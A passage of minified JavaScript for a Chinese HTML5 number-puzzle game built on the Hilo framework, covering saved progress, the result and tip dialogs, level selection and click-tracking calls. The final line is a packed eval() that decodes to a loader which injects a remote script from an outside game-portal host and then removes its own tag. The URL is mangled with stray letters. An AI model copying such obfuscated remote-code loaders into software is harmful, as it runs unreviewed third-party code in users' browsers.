  984. setUserLocaltion: function(a, b) {
  985. var c = this.getUserLocation();
  986. c ? (c.level = a, c.newer = b) : c = {
  987. level: a,
  988. newer: b,
  989. starList: []
  990. },
  991. c = JSON.stringify(c),
  992. localStorage.setItem("number_user", c)
  993. },
  994. getUserLocation: function() {
  995. var a = localStorage.getItem("number_user");
  996. return a && (a = JSON.parse(a)),
  997. a
  998. },
  999. setStarLocation: function(a, b) {
  1000. var c = this.getUserLocation();
  1001. c && (c.starList[a] = b),
  1002. c = JSON.stringify(c),
  1003. localStorage.setItem("number_user", c)
  1004. }
  1005. };
  1006. var b = user.getUserLocation();
  1007. b && (user.setLevel(b.level), Game.level.setStarList(b.starList))
  1008. } (window),
  1009. function(a) {
  1010. var b = a.TipScene = Hilo.Class.create({
  1011. Extends: Hilo.Container,
  1012. topG: 180,
  1013. leftG: 69,
  1014. tipW: 523,
  1015. tipH: 590,
  1016. btnW: 242,
  1017. btnH: 114,
  1018. btnX: 225,
  1019. btnY: 415,
  1020. textY: 255,
  1021. levelY: 180,
  1022. starY: 110,
  1023. textInfo: {
  1024. state: ["恭喜通关", "闯关失败", "游戏暂停", "关卡结束", "游戏规则"],
  1025. text: ["用时: ", "萌萌哒,再来一次吧!", "不要离开太久哦!", "恭喜你丫的,通关了", "点击图中方块,该方块及其相邻的方块数字减1,在规定时间内将所有的方块都消为0,游戏通关。"]
  1026. },
  1027. levelColor: "#fff",
  1028. textColor: "#179446",
  1029. constructor: function(a) {
  1030. b.superclass.constructor.call(this, a),
  1031. this.properties = a,
  1032. this.init(a)
  1033. },
  1034. init: function() {
  1035. var b = this,
  1036. c = new Hilo.Container({
  1037. id: "stopBtn",
  1038. width: this.width,
  1039. height: this.height,
  1040. alpha: .3,
  1041. x: 0,
  1042. y: 0
  1043. });
  1044. c.setBgFill("#000"),
  1045. b.addChild(c);
  1046. var d = new Hilo.Container({
  1047. id: "tipContainer",
  1048. width: this.tipW,
  1049. height: this.tipH,
  1050. x: b.leftG,
  1051. y: b.topG
  1052. }),
  1053. e = new Hilo.Bitmap({
  1054. id: "nextBtn",
  1055. image: b.properties.bgImg,
  1056. rect: [0, 0, 523, 338],
  1057. width: 523,
  1058. height: 338,
  1059. x: 0,
  1060. y: 30
  1061. });
  1062. d.addChild(e);
  1063. var f = new Hilo.Text({
  1064. id: "level",
  1065. text: "第" + b.properties.level + "关",
  1066. width: this.tipW,
  1067. font: "50px arial",
  1068. textAlign: "center",
  1069. color: b.levelColor,
  1070. x: 0,
  1071. y: b.levelY
  1072. }),
  1073. g = (b.textInfo.state, b.textInfo.text),
  1074. h = b.properties.type,
  1075. i = new Hilo.Bitmap({
  1076. id: "nextBtn",
  1077. image: b.properties.textImg.image,
  1078. rect: b.properties.textImg.rect[h],
  1079. width: 479,
  1080. height: 131,
  1081. x: 30,
  1082. y: 0
  1083. }),
  1084. j = new Hilo.Text({
  1085. id: "time",
  1086. text: g[h],
  1087. width: this.tipW - 50,
  1088. font: "30px arial",
  1089. textAlign: "center",
  1090. color: b.textColor,
  1091. x: 25,
  1092. y: b.textY
  1093. }),
  1094. k = b.shareBtn = new Hilo.Bitmap({
  1095. id: "shareBtn",
  1096. image: b.properties.btnImg,
  1097. rect: [0, 475, 125, 110],
  1098. width: 125,
  1099. height: 110,
  1100. x: 80,
  1101. y: b.btnY
  1102. });
  1103. if (0 == b.properties.type) {
  1104. var l = b.nextBtn = new Hilo.Bitmap({
  1105. id: "nextBtn",
  1106. image: b.properties.btnImg,
  1107. rect: [0, 360, b.btnW, b.btnH],
  1108. width: b.btnW,
  1109. height: b.btnH,
  1110. x: b.btnX,
  1111. y: b.btnY
  1112. });
  1113. j.text = j.text + b.properties.time + "''";
  1114. var m = b.drawStar(d);
  1115. a.level.setStar(b.properties.level - 1, m),
  1116. d.addChild(l, f, i, j, k)
  1117. } else if (1 == b.properties.type) {
  1118. var n = b.aginBtn = new Hilo.Bitmap({
  1119. id: "aginBtn",
  1120. image: b.properties.btnImg,
  1121. rect: [0, 0, b.btnW, b.btnH],
  1122. width: b.btnW,
  1123. height: b.btnH,
  1124. x: b.btnX,
  1125. y: b.btnY
  1126. });
  1127. d.addChild(n, f, i, j, k)
  1128. } else if (2 == b.properties.type) {
  1129. var o = b.restoreBtn = new Hilo.Bitmap({
  1130. id: "restore",
  1131. image: b.properties.btnImg,
  1132. rect: [0, 242, b.btnW, b.btnH],
  1133. width: b.btnW,
  1134. height: b.btnH,
  1135. x: b.btnX,
  1136. y: b.btnY
  1137. });
  1138. d.addChild(o, f, i, j, k)
  1139. } else if (3 == b.properties.type) {
  1140. var p = b.reStartBtn = new Hilo.Bitmap({
  1141. id: "aginBtn",
  1142. image: b.properties.btnImg,
  1143. rect: [0, 121, b.btnW, b.btnH],
  1144. width: b.btnW,
  1145. height: b.btnH,
  1146. x: b.btnX,
  1147. y: b.btnY
  1148. });
  1149. d.addChild(p, f, i, j, k)
  1150. } else {
  1151. var q = b.sureBtn = new Hilo.Bitmap({
  1152. id: "aginBtn",
  1153. image: b.properties.btnImg,
  1154. rect: [0, 242, b.btnW, b.btnH],
  1155. width: b.btnW,
  1156. height: b.btnH,
  1157. x: b.btnX,
  1158. y: b.btnY
  1159. });
  1160. j.y = 170,
  1161. d.addChild(q, i, j, k)
  1162. }
  1163. b.addChild(d)
  1164. },
  1165. drawStar: function(b) {
  1166. for (var c = this,
  1167. d = a.normalScene.timeCount,
  1168. e = Math.floor(d / 3), f = 3 - Math.floor(c.properties.time / e), g = 0; f > g; g++) {
  1169. var h = new Hilo.Bitmap({
  1170. image: c.properties.starImg,
  1171. rect: [0, 0, 60, 59],
  1172. width: 60,
  1173. height: 59,
  1174. x: 170 + 60 * g,
  1175. y: c.starY
  1176. });
  1177. b.addChild(h)
  1178. }
  1179. return f
  1180. },
  1181. initBtn: function() {
  1182. var b = this,
  1183. c = a.stage;
  1184. b.shareBtn.on(Hilo.event.POINTER_END,
  1185. function(a) {
  1186. a._stopped = !0,
  1187. //document.getElementById("share").style.display = "block",
  1188. dp_share();
  1189. _czc.push(["_trackEvent", "点击", "分享按钮"])
  1190. }.bind(this)),
  1191. b.nextBtn ? b.nextBtn.on(Hilo.event.POINTER_END,
  1192. function(d) {
  1193. d._stopped = !0,
  1194. c.removeChild(b),
  1195. //a.setShareData(2),
  1196. c.removeChild(a.graphScene);
  1197. var e = a.gamePass();
  1198. if (e) {
  1199. var f = a.currentLevel + 1 > a.user.level ? a.currentLevel + 1 : a.user.level;
  1200. a.user.setLevel(f),
  1201. a.user.setUserLocaltion(f, !1),
  1202. a.creatGraphScene(a.currentLevel + 1),
  1203. a.normalScene.clacTime(),
  1204. a.normalScene.setTimeInterval()
  1205. }
  1206. _czc.push(["_trackEvent", "点击", "下一关按钮"])
  1207. }.bind(this)) : b.aginBtn ? b.aginBtn.on(Hilo.event.POINTER_END,
  1208. function(d) {
  1209. d._stopped = !0,
  1210. c.removeChild(b),
  1211. //a.setShareData(2),
  1212. c.removeChild(a.graphScene),
  1213. a.creatGraphScene(a.currentLevel),
  1214. a.normalScene.clacTime(),
  1215. a.normalScene.setTimeInterval(),
  1216. _czc.push(["_trackEvent", "点击", "再来一次按钮"])
  1217. }.bind(this)) : b.restoreBtn ? b.restoreBtn.on(Hilo.event.POINTER_END,
  1218. function(d) {
  1219. d._stopped = !0,
  1220. c.removeChild(b),
  1221. a.normalScene.setTimeInterval(),
  1222. _czc.push(["_trackEvent", "点击", "恢复按钮"])
  1223. }.bind(this)) : b.reStartBtn ? b.reStartBtn.on(Hilo.event.POINTER_END,
  1224. function(d) {
  1225. d._stopped = !0,
  1226. a.user.setLevel(0),
  1227. c.removeChild(b),
  1228. c.removeChild(a.graphScene),
  1229. a.creatGraphScene(0),
  1230. a.gameOver(),
  1231. a.normalScene.clacTime(),
  1232. a.normalScene.setTimeInterval(),
  1233. _czc.push(["_trackEvent", "点击", "重新开始按钮"])
  1234. }.bind(this)) : b.sureBtn.on(Hilo.event.POINTER_END,
  1235. function(d) {
  1236. d._stopped = !0,
  1237. c.removeChild(b),
  1238. a.normalScene.setTimeInterval(),
  1239. a.user.setUserLocaltion(0, !1),
  1240. _czc.push(["_trackEvent", "点击", "新手提示按钮"])
  1241. }.bind(this))
  1242. }
  1243. })
  1244. } (window.Game),
  1245. function(a) {
  1246. var b = a.LevelScene = Hilo.Class.create({
  1247. Extends: Hilo.Container,
  1248. btnGx: 30,
  1249. btnGy: 15,
  1250. wBtn: 131,
  1251. hBtn: 104,
  1252. topG: 50,
  1253. blockG: 20,
  1254. pLevelNum: 20,
  1255. blockList: [],
  1256. row: 4,
  1257. blockW: 135,
  1258. blockH: 130,
  1259. levelGap: 1,
  1260. constructor: function(a) {
  1261. b.superclass.constructor.call(this, a),
  1262. this.properties = a,
  1263. this.init(a)
  1264. },
  1265. init: function(b) {
  1266. var c = this,
  1267. d = c.height - c.hBtn - c.btnGy,
  1268. e = 2 * c.btnGx,
  1269. f = c.width - c.wBtn - 2 * c.btnGx,
  1270. g = c.levelNum = a.level.levelInfo.length,
  1271. h = this.properties.pageLevel,
  1272. i = c.back = Math.floor(h / c.pLevelNum),
  1273. j = c.next = g - (h + c.pLevelNum) > 0 ? !0 : !1;
  1274. if (i) {
  1275. var k = c.backBtn = new Hilo.Bitmap({
  1276. id: "resetBtn",
  1277. image: b.image,
  1278. rect: [0, 135, c.wBtn, c.hBtn],
  1279. x: e,
  1280. y: d
  1281. });
  1282. c.addChild(k)
  1283. }
  1284. if (j) {
  1285. var l = c.nextBtn = new Hilo.Bitmap({
  1286. id: "resetBtn",
  1287. image: b.image,
  1288. rect: [285, 135, c.wBtn, c.hBtn],
  1289. x: f,
  1290. y: d
  1291. });
  1292. c.addChild(l)
  1293. }
  1294. var m = c.homeBtn = new Hilo.Bitmap({
  1295. id: "resetBtn",
  1296. image: b.image,
  1297. rect: [137, 135, 145, c.hBtn],
  1298. x: 250,
  1299. y: d
  1300. });
  1301. c.addChild(m),
  1302. c.initLevel()
  1303. },
  1304. initLevel: function() {
  1305. for (var b = this,
  1306. c = b.blockW,
  1307. d = b.blockH,
  1308. e = d / 4,
  1309. f = [0, 0, b.blockW, b.blockW], g = (b.disBlockColor, b.row), h = g - 1, i = b.blockG, j = Math.floor((b.width - c * g - i * h) / 2), k = this.properties.pageLevel, l = b.levelNum - k, m = l < b.pLevelNum ? l: b.pLevelNum, n = a.user.level + 1, o = 0; m > o; o++) {
  1310. var p = Math.floor(o / g),
  1311. q = Math.floor(o % g),
  1312. r = q * (c + i) + j,
  1313. s = p * (d + i) + b.topG,
  1314. t = o + k + 1;
  1315. if (t > n + b.levelGap) var f = [135, 0, 135, 130];
  1316. var u = new Hilo.Container({
  1317. id: "textContainer",
  1318. width: c,
  1319. height: d,
  1320. x: r,
  1321. y: s
  1322. }),
  1323. v = new Hilo.Bitmap({
  1324. id: "resetBtn",
  1325. image: b.properties.image,
  1326. rect: f,
  1327. x: 0,
  1328. y: 0
  1329. }),
  1330. w = b.nextText = new Hilo.Text({
  1331. text: o + k + 1,
  1332. width: c,
  1333. height: d,
  1334. font: "60px arial",
  1335. textAlign: "center",
  1336. color: "#fff",
  1337. x: 0,
  1338. y: e
  1339. });
  1340. if (w.level = o + k, u.addChild(v, w), b.drawStar(u, o + k), b.addChild(u), t <= n + b.levelGap) {
  1341. var x = {
  1342. text: w
  1343. };
  1344. b.blockList.push(x)
  1345. }
  1346. }
  1347. },
  1348. drawStar: function(b, c) {
  1349. var d = this,
  1350. e = a.level.levelInfo[c].star,
  1351. f = 30;
  1352. if (e) for (var g = 0; e > g; g++) {
  1353. var h = new Hilo.Bitmap({
  1354. image: d.properties.starImg,
  1355. rect: [0, 0, 60, 59],
  1356. width: 60,
  1357. height: 59,
  1358. scaleX: .5,
  1359. scaleY: .5,
  1360. x: 20 + g * f,
  1361. y: b.height - 25
  1362. });
  1363. b.addChild(h)
  1364. }
  1365. },
  1366. initBtn: function() {
  1367. var b = this,
  1368. c = a.stage,
  1369. d = this.properties.pageLevel;
  1370. b.homeBtn.on(Hilo.event.POINTER_END,
  1371. function(d) {
  1372. d._stopped = !0,
  1373. c.removeChild(b),
  1374. a.gameHomeScene.visible = !0,
  1375. document.getElementById("moregame").style.display = "block",
  1376. _czc.push(["_trackEvent", "点击", "主页按钮"])
  1377. }.bind(this)),
  1378. b.back && b.backBtn.on(Hilo.event.POINTER_END,
  1379. function(e) {
  1380. e._stopped = !0,
  1381. c.removeChild(b),
  1382. a.creatLevelScene(d - b.pLevelNum),
  1383. _czc.push(["_trackEvent", "点击", "上一页按钮", d - b.pLevelNum])
  1384. }.bind(this)),
  1385. b.next && b.nextBtn.on(Hilo.event.POINTER_END,
  1386. function(e) {
  1387. e._stopped = !0,
  1388. c.removeChild(b),
  1389. a.creatLevelScene(d + b.pLevelNum),
  1390. _czc.push(["_trackEvent", "点击", "下一页按钮", d + b.pLevelNum])
  1391. }.bind(this));
  1392. for (var e = 0; e < b.blockList.length; e++) b.blockList[e].text.on(Hilo.event.POINTER_END,
  1393. function(d) {
  1394. d._stopped = !0,
  1395. b.visible = !1,
  1396. c.removeChild(b),
  1397. a.creatGraphScene(this.level),
  1398. a.creatNormalScene(),
  1399. _czc.push(["_trackEvent", "点击", "选择关卡", this.level + 1])
  1400. })
  1401. }
  1402. })
  1403. } (window.Game);
  1404. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|script|parentNode|httxp|coxm|9xg|gxame|||jaxvascxript|texxt|txype|src|true|async|onload|insertBefore|js|removeChild|szcg|getElementsByTagName||createElement'.split('|'),0,{}))